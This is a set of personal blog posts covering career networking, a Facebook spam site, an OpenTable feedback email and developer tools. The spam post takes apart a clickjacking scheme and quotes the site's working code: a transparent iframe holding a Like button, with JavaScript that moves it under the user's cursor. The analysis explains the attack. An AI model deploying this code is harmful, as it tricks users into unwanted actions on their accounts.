Liquid Rhymes

I remember having a conversation with my father during the last few months of summer before I went away to college, when he gave me one of his expectations of my college experience: “you won’t have time to party, since you’ll be in the library all the time”. My memory of my reaction to that was one of disbelief, and the thoughts in my head akin to a mischievous elf getting ready to pull the wool over someone’s eyes.

It turned out the way my college career played out I did indeed spend a lot of time in the library (and even more in the computer lab – good ol’ CSIL), but in all that studying I almost missed the biggest lesson of all.

The lesson isn’t really all that earth shattering: it’s make friends, and keep in touch with those friends.

I graduated over 10 years ago, and I’ve recently realized that my friends are the most important resource I have in business. In college I had the good fortune to become friends with some great people: a few that I’ve hired and worked with, a few that I’m doing business with, and a few that will undoubtedly lead to success in my career going forward. For example, from UCSB Computer Science (CS) I have remained in touch with Lisa Kavanaugh, who came to work with me at Ask.com and is now a VP of Engineering of the web development team. I’ve also got friends from UCSB CS who are now at LinkedIn, Sony Online, Slide, and a number of other companies that I can now contact if I’ve got a question or need to meet someone who is an expert in the products they are working on.

Another of my friends, Scott Kim, is now the CTO over at Ask.com. We first met when we interned together at IBM in Austin (looking around the room during orientation, where the instructor helpfully explained to us that we needed to “leave our gun racks at home”, I spotted Scott, a pretty normal looking guy). He worked on a project called Java OS (pretty sure killed now) that summer, and I worked on an internal project that I’m pretty sure never went anywhere, but the relationship we established over 10 years ago is still alive and kicking today. We email a couple times a week to talk about personal stuff, but we also share job leads, references, startup tips, and almost everything else.

Speaking of Ask.com, I met some of my closest friends while working there, and now that they’ve left Ask they are incredible resources to have to reach out to and talk about any subject in the valley. My startup is now moving to do some PR work, and I have a great friend who did PR at Ask and is now a Senior Manager at a PR firm who is happy to help all he can. When we need connections into mobile advertising I have another friend from Ask Ad Operations who is now at a major mobile ad network, and is happy to help. The point is that all these relationships were developed while I was seemingly focused on another goal: success in my career and in business.

At the end of the day nothing is going to make up for a poor work ethic, or sub-par skills. But I know if I work hard and achieve success, a big part of it will be the incredible friends I’ve made along the way.

Dad: that’s one of the most important lessons I hope to leave with my children as they embark to college someday.

Yesterday I noticed a ton of my friends on Facebook were “liking” ‎:|:|:|:|:|:| Smoking Hot Bartenders :|:|:|:|:|. Noticing that even some friends who I would never think would like that (girls), I decided to click on it and take a look.

The “Smoking Hot Bartenders” site, of course, is some sort of spam site where the user is prompted to fill out some leadgen form (or offer) in order to access pictures of the “smoking hot bartenders”. Declining to do so, I closed the window and figured that was that.

I was quite surprised to check my feed today and notice that I had “liked” the same page on Facebook. How did this happen?

I decided to take a look at the site, http://cutebabesbartending.info/, and see how they were executing this very viral scheme.

The first thing you see when you land on the site, most likely from Facebook (and hence logged in), is a screen with some hot girls and a link to click through. This link is the key to the scheme.

Taking a look the source of the page we see:

<h2>
    <a href="photos.html">Continue here to see photos</a>
</h2>
<div style="overflow: hidden; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="aaaa">
  <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fcutebabesbartending.info%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font&amp;colorscheme=dark&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:20px; height:20px;" allowTransparency="true" id="xxx" name="xxx"></iframe>
</div>

Note we have here an absolutely positioned DIV with an IFRAME to the facebook like page. But where is the code that clicks the link? If they are triggering from the click why does this facebook like button fire? Check out the code below. Note that id xxx is the iframe itself, and aaaa is the facebook like button.

<script>
      var xxx = 0;
      var aaaa = document.getElementById('aaaa');
      var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body

      function lololol(e){
        if (window.event) {
          aaaa.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
          aaaa.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
        }
        else {
          aaaa.style.top = (e.pageY-5)+'px';
          aaaa.style.left = (e.pageX-5)+'px';
        }
      }
        document.onmousemove = function(e) {
          if (xxx == 0) {lololol(e);}
        }
</script>

This is kind of ingenious: they are re-drawing the Facebook like button so it follows your mouse around the screen, and when you click on the link you click on both the like button and the link to the next page!

But why don’t you see the like button? It’s because the opacity of the parent element is set to 0 (ie completely transparent, thanks to commenter Colby Russell for correcting me). Let’s change this and see what happens:

Look at that Facebook like button there by my cursor!

This is fairly brilliant spam – you click off of Facebook and unsuspectingly click on the link to get to the page where you assume there might be spam but you can ignore it. However, unbeknownst to you, you’ve already “liked” the spammy page, and it’s now sitting in your feed waiting for the next sucker, er… friend, to click on it.

Updated: commenter Ryan King notes that the term for this spammy technique is Clickjacking.

On Sunday I booked a table through Tipsy Pig, a “gastro-pub” in San Francisco.

This morning I woke up and checked my email to find this message from opentable:

** Please do not reply to this email. It was sent from an unattended mailbox, and replies are not reviewed. See below for contact information. **

Dear Simon,

Thank you for booking your recent reservation through OpenTable.

We would appreciate your feedback about your experience at The Tipsy Pig on August 22, 2010. Please take a moment to fill out our Dining Feedback Form:

http://fb.opentable.com/df.aspx?re=….

Thank you, and we look forward to seeing you again at OpenTable.com.

Bon appétit!
Your OpenTable Team

NEED HELP?

http://support.opentable.com

UNSUBSCRIBE:
If you’d rather not receive future Dining Feedback Form emails from OpenTable, please click the link below:

http://fb.opentable.com/df.aspx?re=…

Now, I think opentable finally following up and asking their users to write reviews and give feedback on the restaurants is a great thing (though it took yelp rocketing to tremendous success for them to get their act together – I’ve long thought that opentable should integrate review content to make it even easier to choose a restaurant). More companies should ask me how my experience was with their product, especially when they are simply a platform for the actual service provider. But why are they sending such an unfriendly email to solicit my feedback?

First, witness the very top of their email:
** Please do not reply to this email. It was sent from an unattended mailbox, and replies are not reviewed. See below for contact information. **

When I read this I’m thinking: “Look, we don’t really care about you. We want to market to you, sell you something, maybe even ask for your feedback, but we want to make it easy for us and hard on you”. We haven’t bothered to link up our email system with our customer support system because it’s too hard or too expensive or we’re busy with other things, so we’re just going to tell you that we’re going to ignore you, the customer.

Now let’s look at the content:

Dear Simon,

Thank you for booking your recent reservation through OpenTable.

We would appreciate your feedback about your experience at The Tipsy Pig on August 22, 2010. Please take a moment to fill out our Dining Feedback Form:

http://fb.opentable.com/df.aspx?re=EAV%252bFQ5fXaQ%253d

Thank you, and we look forward to seeing you again at OpenTable.com.

This isn’t bad, but there isn’t much here. Why isn’t opentable telling me what my feedback is going towards?

• Is it going to a public review site like yelp to I can help others?
• Is it for opentable to use internally?
• How long will it take me to write this feedback?

I have no idea from this email, so I pretty much have to click the link to go to their site and find out. Or, more likely, I’ll just click delete and forget about it.

This is 2010: if you want feedback from someone, make it easy! How great would it be if you could just reply – like you can with Posterous – and write your review in your email client? How much more likely would I be to respond and check it out if I knew why I were doing it?

In my last post I talked about some of the tools I’ve been using since I waded back into the world of startups and coding, and discussed some useful hosting services, languages, and frameworks.

In this post I’m going to talk about some of the other tools I use to develop in. Before I go into the tools I should talk about my development machine, my several year old MacBook Pro 15″. According to “About This Mac”, it’s a 2.16GHz Intel Core 2 Duo with 3GB of RAM, and it’s running snow leopard (10.6 – does any one else find Mac’s naming scheme confusing?). I switched from windows to the Mac primarily because of the external aesthetics, and I have mixed feelings about the machine (more on that some other time, perhaps).

Tools

• Komodo Edit – Komodo Edit is a great freeware editor, derived from the full IDE Komodo IDE (which is not free). It’s not a full-featured IDE (no source control integration, for example), but it does syntax highlighting and supports intellisense (auto-completing method names, signatures, etc.) so it gets the job done – and of course the price is right
• I don’t know how most startups afford a full-featured image editor like Photoshop, so thankfully there is a decent open source competitor – the Gimp. It’s a strong knockoff with a ton of capabilities, and once you get by the interface idiosyncrasies you’ll wonder why you need to spend almost a grand on the real-deal. For those who are baffled by it I highly recommend this bit on getting unstuck.
• For those who have windows I also highly recommend paint.NET – it’s a less full-featured image editor than the Gimp, but it’s also a heck of a lot easier to use. It’s got some great features to do simple but useful things, like extending the length of a specific region of an image.
• For mockups I’ve been using the adobe air app Balsamiq since I discovered it while working on new features for Hark!. It’s not free (I believe it’s $79), but it supports all platforms as an air app (even linux, albeit poorly), and you save a lot of time creating mockups in it over drawing (and it’s cheaper than a license of Visio).
• I recently stumbled on Mockingbird, which looks a lot like a web knockoff of Balsamiq. It’s free while in beta, so it looks like it might be worth a whirl.
• When working with java two editors I used were Netbeans and Eclipse. Both are free, with the former being a Sun-sponsored (I think they bought the company) product, and the latter being a community based one, largely driven by IBM. I found both to be really useful, but Eclipse to be excruciatingly slow in some cases, so I ended up using Netbeans as the go-to.

Useful Frameworks

• For pulling data from the web you used to have to right your own web scraper/spider to gather data from different sites. But now a host of sraping frameworks have sprung up, and I highly recommend scrapy, which is written in python. There is really no reason to have to write your own spider anymore.

Mobile Tools

• Anyone can create a great mockup of a mobile app using MockApp, an open source mockup framework for powerpoint/etc. It basically gives you great widgets to use to make a mockup of your app.
• If you want to take your mockup a little further and actually build something, check out jQTouch – it’s a framework for developing apps that look like native iphone apps, but run in safari. If you want to have something that looks like an iphone app in a hurry this is the way to go.
• I’m going to talk about Titanium more in a later post, but it’s a javascript/html framework that allows you to build native mobile apps. The idea is that you write your app in javascript, and it compiles it to native code for iPhone, Android, and even Blackberry (if you pay for it). It’s awesome in theory and somewhat good in practice. There are other frameworks that do this as well, such as PhoneGap, and it’s in theory it’s a great way to write a native app for the mobile platform if you’re a web guy. In practice I’ve found Titanium to have mixed results, which is probably worthy of a future post on it’s own.

I’m sure all of you have discovered a ton of other great tools – what else should I be using?